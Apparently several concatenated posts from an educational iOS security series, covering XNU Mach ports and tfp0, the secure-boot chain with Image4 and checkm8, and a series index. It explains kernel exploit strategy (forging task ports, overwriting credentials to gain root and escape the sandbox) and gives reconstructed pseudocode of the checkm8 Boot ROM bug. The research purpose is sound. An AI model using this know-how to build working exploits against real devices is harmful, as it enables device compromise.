Most ports front a userland message queue. Some front a kernel object instead, and those are the ones that matter. Their io_bits field carries a kobject type from a fixed set (IKOT_TASK_CONTROL, IKOT_THREAD_CONTROL, IKOT_HOST_PRIV, IKOT_IOKIT_CONNECT), and ip_kobject points at the real kernel object: a task, a thread, an IOKit user client. convert_port_to_task(port) checks the kobject type in io_bits, dereferences ip_kobject, and hands back the task. That is what turns “I hold a port” into “I act on a kernel object.”

A task exercises all of its authority through ports. Its bootstrap port reaches launchd and, through it, other services. Its task self port lets it call the mach_vm_* family on its own address space. Its exception ports receive a thread’s state when it faults. Its host port answers unprivileged queries, and the separate host-priv port gates privileged host calls.

The one that matters most is a send right to an IKOT_TASK_CONTROL port whose ip_kobject is a task whose vm_map covers kernel memory. Hold that and you can call mach_vm_read and mach_vm_write against that memory. That single capability is kernel read/write from userland. It is tfp0. Since iOS 14 the kernel’s own task will not do: convert_port_to_map_with_flavor panics when the resolved map’s pmap is kernel_pmap, which is why a modern chain forges a fake task over a fake vm_map instead.

Make an ipc_port you control read back with io_bits set to IKOT_TASK_CONTROL and ip_kobject pointing at a task you also control, and you have a fake kernel task port even when the real one is out of reach. On arm64e devices (A12 and later) ip_kobject and the entry pointers are PAC-signed (Pointer Authentication: a cryptographic tag stored in a pointer’s unused high bits) with per-field discriminators, so you cannot copy a pointer in from elsewhere. That is a large part of why forging a port is hard today, and it is the subject of the later post on pointer authentication.

ipc_space: a task’s table of capabilities

Ports are the objects. ipc_space is where a task keeps its names for them: the per-task table mapping the names userland sees to the real ipc_port objects. It hangs off the task as itk_space, and it is precisely the Mach counterpart of the file-descriptor table p_fd. Your authority as a task is the set of entries in your ipc_space.

The space holds is_table, an array of struct ipc_entry. A 32-bit port name splits into two parts:

• an index, MACH_PORT_INDEX(name) = name >> 8, which slot in is_table,
• a generation, MACH_PORT_GEN(name) = (name & 0xff) << 24, a counter used to detect stale names.

Each ipc_entry carries ie_object, a pointer to the ipc_port (PAC-signed on arm64e), and ie_bits, which packs the user-reference count in its low 16 bits (IE_BITS_UREFS_MASK, 0x0000ffff), the right type just above them (IE_BITS_TYPE_MASK, 0x001f0000), and the generation in its top bits (IE_BITS_GEN_MASK, 0xfc000000). Resolving a name is therefore: look up is_table[index], check the name’s generation against the one in ie_bits, check the right type, then dereference ie_object. Every Mach call that takes a port name walks this path, and with a kernel debugger, on a jailbroken device or in Corellium, you can walk the same chain live: task to space to table to entry to port.

When a slot is freed and later reused for a different port, its generation is bumped, so an old name that carried the old generation no longer validates. ipc_entry_lookup() returns IE_NULL on a generation mismatch and the caller turns that into KERN_INVALID_NAME, rather than silently aliasing the new port. Defeating that, by getting a name reused before the generation rolls over or by abusing a table-reallocation bug, is the classic stale port name primitive: an old name resolves to a different port than the one it named, which is capability-level type confusion.

And is_table is an ordinary kernel-heap object whose size and placement an attacker can influence by allocating ports. Corrupting an ie_object pointer means a name now resolves to an ipc_port you control, which is the fake task port again.

Virtual memory, traps, zones, and messages

Virtual memory. Per task, a vm_map holds a sorted set of vm_map_entry ranges, each backed by a vm_object that owns physical pages, with pmap holding the hardware page tables. Two details recur in exploitation: vm_map_copy, the transient object that carries out-of-line message data, is a standard heap-spray and disclosure primitive, and pmap is what the page-table monitors (PPL, then SPTM) exist to protect.

Mach traps are the raw entry points, dispatched through mach_trap_table on negated syscall numbers from EL0. The ones an exploit drives constantly are the _kernelrpc_* port and memory calls (mach_port_allocate, mach_port_insert_right, mach_port_mod_refs, mach_vm_allocate) and mach_msg2, the modern consolidated message path. They are reachable from almost any sandbox, which is what makes them the core surface of nearly every escalation.

Zones are the allocator. zalloc slices pages into fixed-size elements of one kind, with dedicated zones for hot types such as ipc ports. This is where an exploit lines up its objects in memory.

Messages are what flows through ports. mach_msg2 copies a user message into an ipc_kmsg and processes its typed descriptors, port-right transfers and out-of-line memory included. That descriptor handling is one of the densest bug surfaces in the kernel and where the interesting lifetime bugs live, and the dedicated IPC post takes it apart.

The BSD half

The BSD side holds identity, and identity is what you eventually rewrite.

Syscalls dispatch through sysent, indexed by the positive syscall numbers, the BSD counterpart of the Mach trap table.

struct proc is the process from BSD’s point of view: p_pid, the file-descriptor table p_fd, a back-pointer to the task, and p_ucred, the pointer to its credentials (since the iOS 15 and macOS 12 line, reached through the read-only proc_ro structure rather than stored in struct proc itself).

Credentials are a kauth_cred_t, holding the familiar cr_uid and group set plus a field that matters more on iOS than the uid does: cr_label. That label is the slot for the Mandatory Access Control Framework (MACF), the kernel hook layer where AMFI (Apple Mobile File Integrity) and the sandbox attach their per-process policy, and the next two posts are about those two. Credentials are reference-counted and copy-on-write. The offensive use is direct: with kernel read/write, patching your process’s p_ucred to point at the kernel process’s credentials makes you root, and editing the MACF label takes you out of the sandbox and grants entitlements. That was the canonical thing an iOS kernel exploit did with its read/write through iOS 15. Since iOS 16 the credential is read-only memory, which changed the last step of every chain.

VFS, sockets, and kauth round out the surface, and they reach the same heap. The archetype is SockPuppet (Ned Williamson, CVE-2019-8605): a use-after-free in a BSD socket option, exploited entirely with Mach-port heap craft. A BSD bug turned into a Mach primitive.

tfp0: the objective

tfp0 is read “task-for-pid-zero.” task_for_pid(pid) is a Mach trap that returns a send right to that process’s task control port, and pid 0 is kernproc, the kernel’s own process, whose task is kernel_task and whose address space is kernel memory. So task_for_pid(0) once handed you arbitrary kernel read/write from userland, through ordinary, documented Mach APIs. That is where the name comes from.

tfp0 is a capability, not a technique. The bug and the work to exploit it are the technique; tfp0 is the result they produce, the stable kernel read/write primitive expressed as a Mach port.

The name has outlived the trap. On modern iOS task_for_pid(0) never returns the kernel task: the trap checks for pid 0 first and fails before it looks at credentials or entitlements at all. An exploit forges the port instead, exactly as the ports section described: same capability, obtained a different way. So when someone says a chain “gets tfp0,” they mean it reaches userland kernel read/write, not that it called a particular trap.

The APIs are ordinary. mach_vm_read(task, addr, size, ...) reads bytes from a task’s address space and mach_vm_write(task, addr, data, ...) writes them. These are the calls a debugger uses: lldb attaches to a process by taking its task port, then reads and writes the debuggee’s memory with exactly these functions. tfp0 is that mechanism pointed at a task whose address space is kernel memory. Everything comes from which task the port names, a task you were never supposed to be able to name.

Read and write are not interchangeable. A read primitive on its own is reconnaissance: it defeats KASLR (Kernel Address Space Layout Randomization, which shifts where the kernel is loaded) and locates the structures you care about, but it changes nothing. A write on its own is hard to aim: you need a leak, a target at a known offset, or a first write that manufactures the read you were missing. tfp0 is the objective because it packages both, arbitrarily and stably through mach_vm_*, rather than as a fragile one-shot you have to keep re-triggering. Turning a limited primitive into full read/write, upgrading a relative read or a single write-what-where into clean arbitrary access, is a craft of its own and the subject of a later post.

The shape of a kernel exploit

Almost every iOS kernel exploit reads as the same pattern:

1. a memory-safety bug gives limited control (an out-of-bounds write, a use-after-free, a refcount error);
2. controlled reallocation reclaims the freed or adjacent memory with attacker bytes;
3. that memory is type-confused into a kobject port or a disclosable vm_map_copy;
4. which yields arbitrary read/write, a userland kernel task port, tfp0;
5. which rewrites the process’s credentials and its MACF label, and the process is root and out of its sandbox.

Two historical bugs show the pattern cleanly. Brandon Azad’s voucher_swap (CVE-2019-6225) freed an ipc_voucher through a reference-counting error in MIG (the Mach Interface Generator, which auto-writes the code that unpacks Mach messages for kernel services), reallocated it as a port array, and used the dangling voucher to recover a send right to a fake port, and from there a fake task port. Ian Beer’s “task_t considered harmful” was a design-level capability confusion, where passing task ports across a privilege boundary let a caller confuse which task a kobject port referred to. Both end in the same place: a port that names a kernel object it should not.

State in 2026

The abstractions above are stable; what changed is how hard they are to exploit.

Control ports such as the task self port are now immovable (they cannot be moved to another task) and pinned (they cannot be deallocated), so the old tricks that swapped or freed a task’s own control port fault instead. Reference counts moved to the hardened os_refcnt framework, which panics on overflow and on over-release rather than wrapping, closing the overflow-to-use-after-free class. mach_port_guard lets a holder bind a context to a port so unexpected operations fault.

The endgame moved too. Since the iOS 15 and macOS 12 line, p_ucred sits in the read-only proc_ro structure and struct ucred is allocated ZC_READONLY, through zalloc_ro rather than ordinary zalloc, so patching a credential is no longer a plain kernel write: it needs a gadget that goes through the read-only allocator’s own write path.

Bigger still: kalloc_type (iOS 15) segregates the heap by type signature, so a freed object can only be reclaimed by a type that lands in the same signature bucket, and the bucketing is re-randomized every boot. That breaks the generic “reallocate the freed slot as an ipc_port” move that step 2 above relied on. On A15 and later hardware, from iOS 17 on, SPTM and TXM (the Trusted Execution Monitor) took page tables and code signing out of XNU entirely, so even a full kernel read/write can no longer rewrite page tables or forge a code-signing verdict. On A19, Memory Integrity Enforcement (always-on hardware memory tagging) makes many linear overflows and use-after-frees crash on the spot instead of corrupting anything. tfp0 is now the start of the hard part.

Hands-on: reading the structures out of the kernelcache

The previous post pulled a kernelcache apart the long way, through the Image4 container. To just get one open in a disassembler, ipsw downloads and decompresses it in a single command, without fetching the whole IPSW firmware bundle:

ipsw download ipsw --device iPhone10,3 --version 15.0 --kernel
# writes a decompressed arm64 Mach-O under a build-named folder, e.g.
# 19A346__iPhone10,3/kernelcache.release.iPhone10,3_6

file 19A346__iPhone10,3/kernelcache.release.iPhone10,3_6
# Mach-O 64-bit executable arm64

iPhone10,3 is an A11, so this image is plain arm64, not arm64e, and the pointer fields you will see are not PAC-signed. That is what you want for a first read: the raw layout, without the signing A12 and later add on top.

Open the file in a disassembler with arm64 support: Hopper, Ghidra, or IDA Pro on macOS. IDA Home works as well, but it licenses one processor family at a time, so you need the ARM edition, and it ships without the decompiler. Point it at the whole kernelcache, kernel plus all kexts, and let the analysis finish.

A release kernelcache carries almost no symbol names, so recover them first. ipsw kernel sym, paired with blacktop’s symbolicator signatures, rebuilds most of them and writes a JSON you apply with the matching script for Ghidra, IDA Pro, or Binary Ninja. IDA users can additionally run ida_kernelcache, the maintained cellebrite-labs fork of Azad’s original, to rebuild the C++ vtables and OSMetaClass hierarchies.

Work through four things:

1. The syscall tables. mach_trap_table and sysent both sit at the front of the kernel. ipsw dumps the BSD one in full, each entry with its number, handler, argument count, and C prototype:

ipsw kernel syscall kernelcache.release.iPhone10,3_6

In the disassembler mach_trap_table sits at its symbol as a raw array of { argument count, handler pointer } entries.

2. Port to kernel object. Decompile any member of the convert_port_to_* family; convert_port_to_map_with_flavor is a clean one. Its own body is the tail of the bridge, since the port-to-task translation and the kobject type check sit in the callee it opens with: it takes the task behind the port, checks the task is still active, walks to task->map, and compares map->pmap against kernel_pmap. When that comparison hits it panics with userspace has access to a kernel map ... through task. That is the iOS 14 check from the ports section, in the binary.

3. The name lookup. Decompile ipc_right_lookup_read, which resolves a port name for a read. The ipc_space walk is right there in the decompilation: param_2 >> 8 for the table index, * 0x18 to scale it by the ipc_entry size, then ie_object at offset 0 and ie_bits at + 8.

4. Where identity lives. The last piece is the write target. struct proc holds p_ucred, and the kauth_cred_* accessors that symbolication turns up read the very cr_uid and cr_label fields a chain overwrites at the end: patch p_ucred to a privileged cred and the process is root and out of its sandbox. On this iOS 15 image that is a plain kernel write; from iOS 16 the same fields sit in read-only zones.

Where this leaves us

XNU is a Mach and BSD hybrid in one address space; authority is held as ports and named through ipc_space; and the objective every escalation shares is a single capability, tfp0, a userland handle to kernel read/write that you obtain today by forging the kernel task port rather than by asking for it.

That capability is only interesting because of what it is allowed to overwrite, and the next posts are about what sets those limits. The MACF label we just met inside p_ucred is where the following article starts: the framework that decides, at every exec, what is even allowed to run, and how AMFI, code signing, and trust caches hang off it.

Notes and sources

Everything here is drawn from open source, vendor documentation, and published research.

• Apple’s open-source XNU is ground truth for every structure and macro named above: osfmk/ipc/ipc_port.h, ipc_object.h, ipc_entry.h, osfmk/mach/port.h (MACH_PORT_INDEX and MACH_PORT_GEN), osfmk/kern/syscall_sw.c (the trap table), osfmk/kern/ipc_tt.c (the convert_port_to_* helpers), osfmk/kern/ipc_kobject.c (the manual PAC of ip_kobject), and osfmk/kern/kalloc.c / zalloc.c.
• Jonathan Levin, *OS Internals, Volume II: Kernel Mode (newosxbook.com), is the reference for the Mach and BSD structures, trap tables, and zone allocator.
• Brandon Azad, “voucher_swap: Exploiting MIG reference counting in iOS 12” (Project Zero, CVE-2019-6225), and “A survey of recent iOS kernel exploits” map the port and zone primitives named here.
• Ian Beer, “task_t considered harmful” (Project Zero), is the capability-confusion case study, and the mach_portal / async_wake writeups established the port-spray playbook.
• Apple Security Research, “Towards the next generation of XNU memory safety: kalloc_type”, for the heap-segregation change that reshaped step 2 of the exploit arc.

The problem: a root of trust

Verification like this is circular unless it ends somewhere: the kernel is trusted because iBoot checked its signature, iBoot because an earlier stage checked its signature, and so on down. Either that goes on forever or it stops at something the device trusts without checking, which is the root of trust. It has to meet two conditions: an attacker must not be able to modify it, and it must hold the reference value every later check compares against.

The chain gives two separate guarantees. Integrity: at each stage, only code signed by Apple runs, so an unsigned kernel never boots. Anti-downgrade: the device refuses an older signed version, so nobody reinstalls an old iBoot to reuse a vulnerability Apple has since fixed.

The anchor: Boot ROM

The root of trust is the first code the Application Processor (the main CPU, Apple’s AP) runs when it leaves reset. Apple calls it the Boot ROM. Most people who study it call it SecureROM, after the string inside the code. It is read-only memory written when the chip is fabricated, and it contains a small amount of code plus the Apple Root CA public key.

The Boot ROM uses that key to verify that the next stage was signed by Apple before running it. Nothing can change the key or the code after fabrication. That is what lets the Boot ROM serve as the anchor: a modifiable anchor would verify the attacker’s code as readily as Apple’s.

The same property has a cost: a bug in later code can be patched, a bug in read-only silicon cannot. checkm8 is the example.

The stages: one link at a time

Trust moves up from the anchor one stage at a time, each stage verifying the signature on the next before transferring control to it.

The exact stages depend on the age of the device. On A9 and earlier there is an extra one, the Low-Level Bootloader (LLB): the Boot ROM verifies and runs LLB, which verifies and runs iBoot. On A10 and later the Boot ROM loads iBoot directly. LLB still ships as an image, but it is now identical to iBoot, and iBoot does LLB’s old job in its first internal phase. Up to A14 the chain is three stages; on A15 and later iBoot also loads SPTM (the Secure Page Table Monitor) and TXM (the Trusted Execution Monitor), which come up before the kernel:

   Application Processor, out of reset
             │
             ▼
        Boot ROM        immutable, holds the Apple Root CA public key
             │          verify signature, then jump
             ▼
         iBoot          (A10+; older SoCs run LLB before this stage)
             │          verify signature, then jump
             ▼
       kernelcache      XNU + kexts, wrapped in an Image4 container

iBoot is a full bootloader: its own USB stack, a command interpreter in development builds, and the code that loads the kernel.

A kernelcache is XNU, the kernel iOS and macOS share, prelinked with the kernel extensions (kexts) the device needs, compressed, and, on every 64-bit device, wrapped in the Image4 container described in the next section.

Boot modes: normal, recovery, and DFU

The same chain runs differently depending on how the device was started, and each way stops at a different stage.

Normal boot runs the entire chain and starts the OS. Recovery mode runs it up to iBoot, which stops short of the kernel and waits for a host over USB: that is the “connect to computer” screen, and it is what an ordinary restore or update talks to. DFU mode, for Device Firmware Update, stops one stage lower. The device halts in the Boot ROM with the screen black and waits for the host to send the next image, which it checks exactly as it would at normal boot: the host sends iBSS, the restore first stage, which in turn loads iBEC, and each has to be signed and personalized for that device or the Boot ROM refuses it. DFU is used for the lowest-level restores, and it is the mode a Boot ROM exploit needs, because the USB code listening there belongs to the Boot ROM itself.

   Boot ROM ──▶ iBoot ──▶ kernelcache ──▶ iOS     normal boot
       │           │
       │           └──▶ iBoot waits on USB        recovery mode
       │                ("connect to computer")
       │
       └──▶ Boot ROM waits on USB                 DFU mode
            (screen black; checkm8 attacks the USB code here)

Image4: the container everything is signed in

Every signed object in the chain uses the same container: Image4, written IMG4. iBoot, the kernelcache, the device tree, the Secure Enclave Processor (SEP) firmware, and the restore ramdisk are all IMG4 files. It is an ASN.1 structure in DER encoding, the same tagged binary format X.509 certificates use, with three parts that matter here.

The payload is the IM4P: a four-character tag naming the contents (krnl for the kernelcache, ibot for iBoot, sepi for the SEP firmware), a description string such as a build version, the payload bytes, and the compression scheme if there is one. Two appear in practice: LZSS, which Apple wraps in a complzss header, and LZFSE, Apple’s own compressor. An encrypted payload also carries a KBAG, its wrapped key material.

The manifest is the IM4M; the personalized copy a device actually boots under is the APTicket. It lists the expected digest (SHA-384 on modern devices) of every image in the boot chain, plus a set of manifest properties, an X.509 certificate chain, and an RSA signature over all of it. That chain terminates at an Apple-controlled secure-boot root whose public key is the one held in the Boot ROM. Despite the certificates, this is not a CMS (Cryptographic Message Syntax) or PKCS#7 signature, as is often claimed, but an Apple-specific structure.

The restore info is the IM4R. It carries the boot nonce, tagged BNCN.

Verifying an image against a manifest is three steps: the manifest’s signature is valid and chains to Apple; its properties match this silicon and this boot (chip ID, board ID, the ECID or Exclusive Chip Identification, the boot nonce, the production and security state); and the image about to run hashes to the digest the manifest lists for it.

Personalization and the signing window

The checks so far verify a signature. They do not explain why a valid, Apple-signed iBoot from an old release cannot be installed today. That takes a separate mechanism.

Apple signs each build per device and per install rather than once for all devices. During a restore or update, the device sends Apple’s signing service (the Tatsu Signing Server, TSS) the list of images it wants to install plus two device-specific values: the ECID, a serial number unique to that SoC, and the ApNonce, a fresh anti-replay value derived from a random generator value and hashed (SHA-384 on current chips) into the manifest field BNCH. TSS returns a manifest bound to that ECID and that nonce. That personalized manifest is the APTicket; a saved copy is an SHSH blob, .shsh2 on modern devices.

The binding does two things. The ECID stops a ticket signed for one device from validating on another, so signed firmware cannot be moved between devices. The nonce stops replay: a stock device picks a new ApNonce at every restore, so a ticket signed against yesterday’s nonce no longer matches. Reusing an old ticket means forcing the device to produce the original nonce again, which stock firmware will not do.

The signing window is a time limit on top of this. Apple issues fresh signatures only for the build it currently ships; some days or weeks after a new release it stops signing the previous one, and TSS will no longer personalize that build for any device. Without a saved ticket and a reproducible nonce, there is then no way back to it.

The Secure Enclave boots alongside

While the Application Processor works through that sequence, the Secure Enclave runs an equivalent one in parallel, isolated in hardware, with its own Boot ROM: a separate root of trust on the same die. At startup iBoot reserves a region of memory for it and passes the enclave its operating system, sepOS. The enclave’s own Boot ROM verifies that image’s hash and signature before running it; iBoot delivers the image but does not check it. If the check fails, the enclave stops operating until the next full chip reset.

On A13 and later a hardware mechanism, System Coprocessor Integrity Protection (SCIP), lets the enclave processor run nothing but its Boot ROM at startup, and the enclave cannot change that configuration itself. Widening it is the job of a separate Boot Monitor: to make sepOS runnable the Boot ROM has to ask that monitor, which resets the enclave processor, hashes the image, widens SCIP to cover it, and starts it. The Boot Monitor keeps a running measurement of everything it makes executable and hands the final value to the Public Key Accelerator, which uses it for OS-bound keys. Secure boot is two chains, rooted in two separate ROMs, that meet at a shared memory region; the enclave gets its own article.

When the chain breaks: checkm8

The chain’s security depends entirely on the anchor, and on a large range of devices the anchor is exploitable.

In September 2019, axi0mX published checkm8 (CVE-2019-8900), a use-after-free in the Boot ROM’s USB code. It is reachable only in DFU mode and only over a physical USB connection. When DFU brings USB up it allocates one fixed-size buffer for control transfers. A control transfer that carries a data phase then aims a second set of globals at that buffer, a write cursor plus the expected and received byte counts, and those are cleared only once the whole data phase has arrived. Stop the data phase short and they are never cleared. Aborting DFU at that point frees the buffer and does null the buffer pointer itself, but the stale write cursor still holds the address, and the next DFU cycle writes through it. Whoever controls what lands in the freed memory gets code execution in the first code the device runs.

Apple’s Boot ROM is closed source, so the pseudocode below is reconstructed from public analysis, not copied from it:

static void    *io_buffer;             /* the DFU control-transfer buffer, 0x800 bytes */
static uint8_t *ep0_data;              /* data-phase write cursor, into io_buffer */
static size_t   ep0_expected, ep0_got; /* bytes this phase wants, bytes that arrived */

/* Entering DFU allocates the buffer, once. */
static void usb_dfu_init(void)
{
    io_buffer = memalign(0x800, 0x40);
}

/* A control request with a data phase aims the cursor at that buffer. */
static void handle_interface_request(uint16_t wLength)
{
    ep0_data     = io_buffer;
    ep0_expected = wLength;
    ep0_got      = 0;
}

/* The cursor is cleared only once the whole data phase has arrived. */
static void handle_ep0_data_phase(const void *data, size_t len)
{
    memcpy(ep0_data + ep0_got, data, len);
    ep0_got += len;
    if (ep0_got == ep0_expected) {
        ep0_data     = NULL;           /* the only path that clears it */
        ep0_expected = 0;
    }
}

/* Leaving DFU frees the buffer and does clear io_buffer. */
static void usb_dfu_exit(void)
{
    free(io_buffer);
    io_buffer = NULL;                  /* but ep0_data still holds the old address */
}

The rest of checkm8 is heap control. SecureROM’s allocator is deterministic, so the buffer allocated on the next DFU entry would land straight back on the freed block; the exploit first leaks allocations to push that new buffer elsewhere, lets a USB request structure fall into the freed region instead, and overwrites its callback and next pointers through the stale cursor. When the USB stack completes that request it calls into the attacker’s payload.

checkm8 affects every SoC from A5 to A11, meaning iPhones from the 4S through the iPhone 8 and iPhone X, along with many iPads and iPods and the A10-derived T2 chip in Intel Macs. Because the vulnerable code is in read-only ROM, none of these devices can be patched.

Two distinctions matter. The checkm8 bug is not the checkra1n jailbreak built on it: checkra1n supported only A7 through A11, and A5 and A6 needed other tools. The unreset data-phase state is in fact still there on A12 and A13, but not exploitable, because those ROMs offer no way to keep the new buffer off the freed block. And checkm8 by itself gives no access to user data. It requires physical possession of the device and a cable, it does not survive a reboot, and it does not defeat the Secure Enclave, the passcode, or the data-at-rest encryption they protect. checkm8 gives control of the boot chain itself.

That control still matters, because every guarantee above the Boot ROM (the signature checks, the signing window, the trust caches and code-integrity mechanisms) is enforced by code that checkm8 can replace. It is why later mitigations are designed on the assumption that the layer below them may be compromised.

From a Boot ROM bug to a jailbreak

checkm8 puts an attacker’s code inside that first stage. Once you are running inside the component that decides what runs next, you can change the decision: skip the signature check instead of performing it.

From there you work up the chain. You hand the Boot ROM a modified iBoot and your code lets it through unverified; that iBoot then loads a patched kernel the same way. Each stage you own disables the check on the next.

At the top you have a kernel running your changes. That is what a jailbreak is. The device will run software Apple never signed, you can load your own kernel code, and for a researcher the whole system becomes something to inspect, patch and debug from the inside.

Because the Boot ROM is read-only, none of this sticks: reboot without a computer attached and the device comes back up stock. That is why checkm8 jailbreaks are called semi-tethered.

Apple Silicon Macs: LocalPolicy and security levels

Everything above describes an iPhone. Since Apple Silicon it describes a Mac too: Boot ROM, then LLB, then iBoot, then the kernel, with LLB still a distinct stage rather than merged into iBoot. The one addition is that a Mac owner can choose how strict the chain is, and that choice is itself signed.

The choice lives in a file called LocalPolicy, an Image4 object that the machine’s own Secure Enclave signs rather than Apple, with a key generated on that Mac that never leaves it. The enclave’s attached secure storage blocks rollback of the policy, so it cannot be silently downgraded to a weaker setting.

There are three settings. Full Security is the default and matches iOS: the OS is personalized to the machine with its ECID, giving the same anti-rollback guarantee. Reduced Security uses Apple’s global, non-personalized signatures, which allows booting older signed versions of macOS and is also required to load third-party kernel extensions. Permissive Security accepts boot objects signed locally by the enclave rather than by Apple, including a custom XNU kernel, and it is the prerequisite for turning System Integrity Protection off, since on Apple Silicon that policy lives in the signed LocalPolicy rather than in NVRAM. It is intended for developers and researchers.

Changing any of these settings requires physical access. The user boots into recoveryOS through One True Recovery, entered by pressing and holding the power button (a signal software running in macOS cannot generate), and authenticates as an administrator.

Hands-on: from IPSW to kernelcache

An IPSW is a zip archive of Image4 objects, and two open tools, blacktop’s ipsw and pyimg4, are enough to go from the download to a kernel you can disassemble.

Exact flags change between tool versions, so check each tool’s --help.

# 1. Pull one object straight out of the remote archive: --pattern
#    fetches only the zip entries whose path matches.
ipsw download ipsw --device iPhone10,3 --build 19A346 --pattern 'kernelcache'

The rest of the chain is in the same archive: Firmware/all_flash/ holds iBoot, LLB, the device tree and the SEP firmware, and Firmware/dfu/ holds the two DFU payloads, iBSS and iBEC. Change the pattern to pull any of them.

# 2. Read the payload header: what is this, and how is it packed?
pyimg4 im4p info -i kernelcache.release.iphone10b

Reading kernelcache.release.iphone10b...
Image4 payload info:
  FourCC: krnl
  Description: KernelCacheBuilder_release-2238.10.3
  Data size: 15645.59KB
  Data compression type: LZFSE
  Data size (uncompressed): 42420.8KB
  Encrypted: False

krnl is the type tag from the IM4P, the description is the build tool that produced this kernelcache, and this one is LZFSE rather than the older complzss.

# 3. Pull the raw payload out of the IM4P. extract decompresses by default.
pyimg4 im4p extract -i kernelcache.release.iphone10b -o kernelcache.raw
file kernelcache.raw

Reading kernelcache.release.iphone10b...
[NOTE] Image4 payload data is LZFSE compressed, decompressing...
Extracted Image4 payload data to: kernelcache.raw
kernelcache.raw: Mach-O 64-bit executable arm64

The kernelcache is now a Mach-O. Before disassembling it, look at the manifest that lists its digest. The values below are representative of the format, not one device’s real signed ones:

# 4. The manifest: the object that says 'Apple signed this'.
# The personalized manifest is not in the IPSW; it comes from your own
# device or a saved SHSH blob (for example via tsschecker).
pyimg4 im4m info -i APTicket.der
#   Device Processor:    T8015           (A11, the iPhone10,3 SoC)
#   ECID (hex):          0x<your device's ECID>
#   ApNonce (hex):       <nonce hash, the BNCH field>
#   SepNonce (hex):      <SEP nonce>
#   Manifest images (N): krnl, ibot, sepi, rdsk, dtre, ...
#   (add -v for each image's DGST digest and the rest of the properties)

The Manifest images list is the set of components this ticket vouches for; with -v, each is shown alongside the digest (DGST) the loader will require the real image to match. The ECID is the personalization described earlier: run this on a manifest from your own phone and the ECID it prints is that phone’s. Open kernelcache.raw from step three in a disassembler and you have the starting point for the next article, on XNU.

State in 2026

The anchor itself is still an active research target. In June 2026, Paradigm Shift published usbliter8, a Boot ROM exploit reaching A12, A13 and the S4 and S5 watch chips: the iPhone XR and XS through the iPhone 11 line, the second-generation SE, several iPads, the Series 4 and 5 watches, the HomePod mini. It is a different bug from checkm8. The Synopsys DWC2 USB controller buffers up to three consecutive Setup packets by DMA and, on a fourth, rewinds its write pointer by a fixed 24 bytes; short Setup packets are still stored in 4-byte chunks, so feeding it short ones walks the pointer backwards 12 bytes at a time into SRAM it was never meant to reach. DFU is again where it is reachable, and the ROM is again unpatchable. Two more generations of device.

Above the boot chain, the mitigations belong to later articles. Once the kernel is running, pointer authentication changes what an attacker can do with a bug, which is the subject of the arm64e post and comes back when this series reaches the kernel.

Where this leaves us

This is the full chain, from the Boot ROM to the kernel the rest of the system runs inside. Little of what follows in the series introduces a new kind of trust: the sandbox, code signing, the trust caches and the entitlements that decide what a process can do are all enforced by a kernel that runs only because these signatures verified in order, which is why a Boot ROM compromise undermines all of them at once.

This post stops at the moment the kernel starts, and says nothing about what that kernel then enforces. The next article moves up one level, into XNU itself: its Mach and BSD halves, and the capability model the rest of the security stack is built on.

Notes and sources

Everything here is drawn from public documentation, open tooling, and published research.

• Apple Platform Security: Boot process for iPhone and iPad, Boot process for a Mac with Apple silicon, The Secure Enclave, Secure software updates, and the LocalPolicy file contents.
• The Image4 format and the APTicket / SHSH scheme: The Apple Wiki on IMG4 and APTicket; Jay Freeman (saurik), “Where did my iOS 6 TSS data go?”; and amarioguy’s “An analysis of iBoot’s Image4 parser”.
• checkm8: axi0mX’s ipwndfu and CERT VU#941987 (CVE-2019-8900).
• usbliter8, the June 2026 SecureROM exploit for A12, A13, S4 and S5: Paradigm Shift’s own writeup was unreachable at the time of writing, so the mechanism and device list here come from Security Affairs and The Hacker News.
• Tooling used above: blacktop/ipsw and pyimg4.
• For depth beyond any of this, the standard reference is Jonathan Levin’s *OS Internals: Volume III (Security & Insecurity) for the boot chain and secure boot, Volume II (Kernel Mode) for XNU.

Ten posts take them one at a time, in the order the device builds them. This page is the index.

What each layer decides

The boot chain decides which kernel runs at all. The SoC leaves reset into a mask ROM written when the chip was fabricated, and from there each stage validates the Image4 signature on the next before handing it control. That is why a Boot ROM bug like checkm8 invalidates every later check on the main processor, though not the Secure Enclave, which boots from a ROM of its own.

XNU is what the chain hands control to: a Mach core for inter-process communication, virtual memory and scheduling, with a BSD layer above it for processes, files and sockets. A Mach port is an unforgeable reference to a kernel object, and holding a send right to the right one is what privilege means here.

AMFI, the AppleMobileFileIntegrity policy module, decides what is allowed to execute, and its answer turns on a 20-byte hash of the code directory called the cdhash. The sandbox decides what an already-running process may touch, and its answer is the profile it was launched with. Both are MACF policies, the Mandatory Access Control Framework XNU inherited from TrustedBSD, and the kernel enforces them, not the process being checked.

Then come the surfaces a confined process can still reach. IOKit is the widest: hundreds of drivers, many of them vending a user client you open and call into with a selector and a buffer. Mach messages, MIG (the Mach Interface Generator, which produces the marshalling code) and XPC, the higher-level framework layered on top of them, are the other, and they lead into a more privileged daemon that may or may not check who is calling.

The hardening layer decides what a bug is worth once you have one. The zone allocator sorts allocations into buckets by the layout signature of the type, which fixes what may take a slot once it is freed. Pointer authentication signs the pointers worth hijacking with a key no memory write can reach. SPTM and TXM (Secure Page Table Monitor, Trusted Execution Monitor) took page-table writes and code-signing decisions out of the kernel’s privilege level, and memory tagging on the newest silicon makes the corrupting write itself fault.

Userland is where the reversing happens. An Objective-C object begins with a word you have to decode before it means anything, and the framework it belongs to is a range inside one merged image rather than a file on disk.

The ten posts

1. The iOS chain of trust. The Boot ROM verifies iBoot, iBoot verifies the kernelcache, and Image4 is the container all of it is signed in. Then checkm8.
2. XNU under the hood. Mach and BSD side by side, the port as the unit of capability, and what tfp0 actually is once you go looking for it.
3. The iOS code-signing pipeline. Which binaries are allowed to execute: one MACF policy module and a verdict keyed on the cdhash, from the trust cache through CoreTrust to amfid.
4. The iOS sandbox. What a running process may touch. The profile is the exact list, so reading it is usually how you pick the next target.
5. IOKit up close. How a userland call lands in a driver’s dispatch table, and CVE-2022-32832, which needs root before it is reachable at all, walked from the selector to the corruption.
6. Mach messages, MIG and XPC. How a process asks a more privileged one to do something, and the three functions that decide whether the callee knows who it is answering.
7. The zone allocator up close. What a memory-corruption bug is worth after kalloc_type, and why the exploits moved down to physical pages.
8. Pointer authentication. What arm64e signs, and what a bypass has to look like when the key is out of reach.
9. SPTM, TXM and memory tagging. The two monitors that took page tables and code-signing decisions away from the kernel, and the tagging that rests on them.
10. The Objective-C runtime and the shared cache. One word to decode before an object means anything, and libraries that live inside the shared cache.

How to read it

